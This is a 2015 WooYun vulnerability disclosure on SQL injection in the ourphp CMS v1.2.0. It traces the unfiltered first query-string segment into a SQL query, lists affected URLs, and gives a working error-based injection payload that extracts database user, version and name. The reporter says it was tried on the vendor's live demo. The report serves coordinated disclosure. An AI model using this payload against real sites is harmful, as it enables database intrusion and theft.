当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108359

漏洞标题:ourphp最新版设计缺陷导致注入漏洞

相关厂商:ourphp.net

漏洞作者: 路人甲

提交时间:2015-04-16 17:19

修复时间:2015-07-16 16:30

公开时间:2015-07-16 16:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-16: 细节已通知厂商并且等待厂商处理中
2015-04-17: 厂商已经确认,细节仅向厂商公开
2015-04-20: 细节向第三方安全合作伙伴开放
2015-06-11: 细节向核心白帽子及相关领域专家公开
2015-06-21: 细节向普通白帽子公开
2015-07-01: 细节向实习白帽子公开
2015-07-16: 细节向公众公开

简要描述:

ourphp最新版设计缺陷导致大量注入漏洞通杀全站(包括手机站,几十个漏洞打包)

详细说明:

看到wooyun上ourphp这个厂商又出新的版本了,说修改了wooyun上现有的漏洞,我也来凑凑热闹吧。下载最新版本(ourphp_v1.2.0.20150414),2015-04-14更新的,研究学习一下。
先说一下是如何造成如此之多的漏洞的:
Ourphp的url都是形如这样:http://demo.ourphp.net/?cn-job-7.html,其中的cn-job-7.html会被解析成cn、job、7三个参数,这里的cn参数存在注入漏洞,而整个ourphp的网站几乎都是这种类型的url。
这里罗列几个
无需登陆的:

http://demo.ourphp.net/?cn-job-7.html
http://demo.ourphp.net/?cn-shop.html
http://demo.ourphp.net/?cn-product-11.html (包含多个)
http://demo.ourphp.net/?cn-article-2.html
http://demo.ourphp.net/?cn-photo-4.html
http://demo.ourphp.net/?cn-video-5.html
http://demo.ourphp.net/?cn-down-6.html
http://demo.ourphp.net/?cn-about-8.html
http://demo.ourphp.net/?cn-club.html
http://demo.ourphp.net/?cn-about-10.html
http://demo.ourphp.net/?cn-clubview-1.html
http://demo.ourphp.net/?cn-jobview-7-5.html
http://demo.ourphp.net/?cn-productview-16-26.html
http://demo.ourphp.net/?cn-videoview-5-5.html
等等等等等等等等


前台登陆以后的:

http://demo.ourphp.net/?cn-shoppingcart.html
http://demo.ourphp.net/client/user/?cn-usershopping.html
http://demo.ourphp.net/client/user/?cn-userpay.html
http://demo.ourphp.net/client/user/?cn-usermail.html
http://demo.ourphp.net/client/user/?cn-useredit.html
等等等等等等等等


贴个图再说下cn下的模板就有这么多,还不算多个参数组合的,这里就不写了吧

模板副本.jpg


来看看代码是如何注入的,比较难发现
在网站主页index.php (client/user等中类似)中

<?php
if(version_compare(PHP_VERSION,'5.0.0','<')) die('错误!您的PHP版本不能低于 5.0.0 !');
if (!file_exists("./function/install/ourphp.lock")) {
header("location: ./function/install/index.php");
exit;
}
include './config/ourphp_code.php';
include './config/ourphp_config.php';
include './config/ourphp_version.php';
include './config/ourphp_Language.php';
include './function/ourphp_function.class.php';
include './function/ourphp/Smarty.class.php';
include './function/ourphp_system.class.php';
include './function/ourphp_template.class.php';
?>


包含了这么一个文件: './function/ourphp_system.class.php';去跟进看看

$smarty->assign('mobile',isMobile());
$smarty->registerFilter('pre','smartyt');
$smarty->assign('ourphp_web',ourphp_web());
$smarty->assign('column',indexcolumn());
$smarty->assign('ip',getIP());
$smarty->assign('ad',array('head'=>ourphp_adoverall('head',$temptype),'foot'=>ourphp_adoverall('foot',$temptype),'list'=>ourphp_adoverall('list',$temptype),'view'=>ourphp_adoverall('view',$temptype)));
$smarty->assign('advert',array('float'=>ourphp_ad('Float'),'right'=>ourphp_ad('Right'),'double'=>ourphp_ad('Double')));
$smarty->assign('brandclass',ourphp_brand());


其中又有这么一句$smarty->assign('column',indexcolumn());
,调用了indexcolumn(),跟进

function indexcolumn() { 
global $db,$ourphp_Language,$ourphp_webpath,$Parameterse;
$query = $db-> sqllist("select id,OP_Uid,OP_Lang,OP_Columntitle,OP_Columntitleto,OP_Model,OP_Url,OP_Briefing,OP_Img from `ourphp_column` where OP_Hide = 0 and OP_Lang = '".$ourphp_Language."' order by OP_Sorting asc,id desc");

无关代码


看到$ourphp_Language被带入sql执行了。$ourphp_Language又是怎么得到的呢?
还是在被包含的这个文件里:'./function/ourphp_system.class.php'

$ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]);
if (empty($ourphp_weburl[0])){$ourphp_Language = 'cn';}else{$ourphp_Language = $ourphp_weburl[0];}


整个过程中都没有对QUERY_STRING中的第一个参数进行过滤处理,造成了注入。整个网站存在的太多,这里一起提交了。希望一起修复。
Payload:GET提交

/?'/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(user(),0x23,version(),0x23,database())/**/FROM/**/ourphp_admin/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a/**/where/**/'1%3d1-usershopping.html-


本地测试如下:

成功副本.jpg


官方demo测试如下:

demo副本.jpg


Demo的数据库user为:ourphp@localhost
Demo的Mysql版本:5.5.37
Demo的数据库:ourphp

漏洞证明:

见 详细说明

修复方案:

你比我懂

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-04-17 16:29

厂商回复:

谢谢

最新状态:

暂无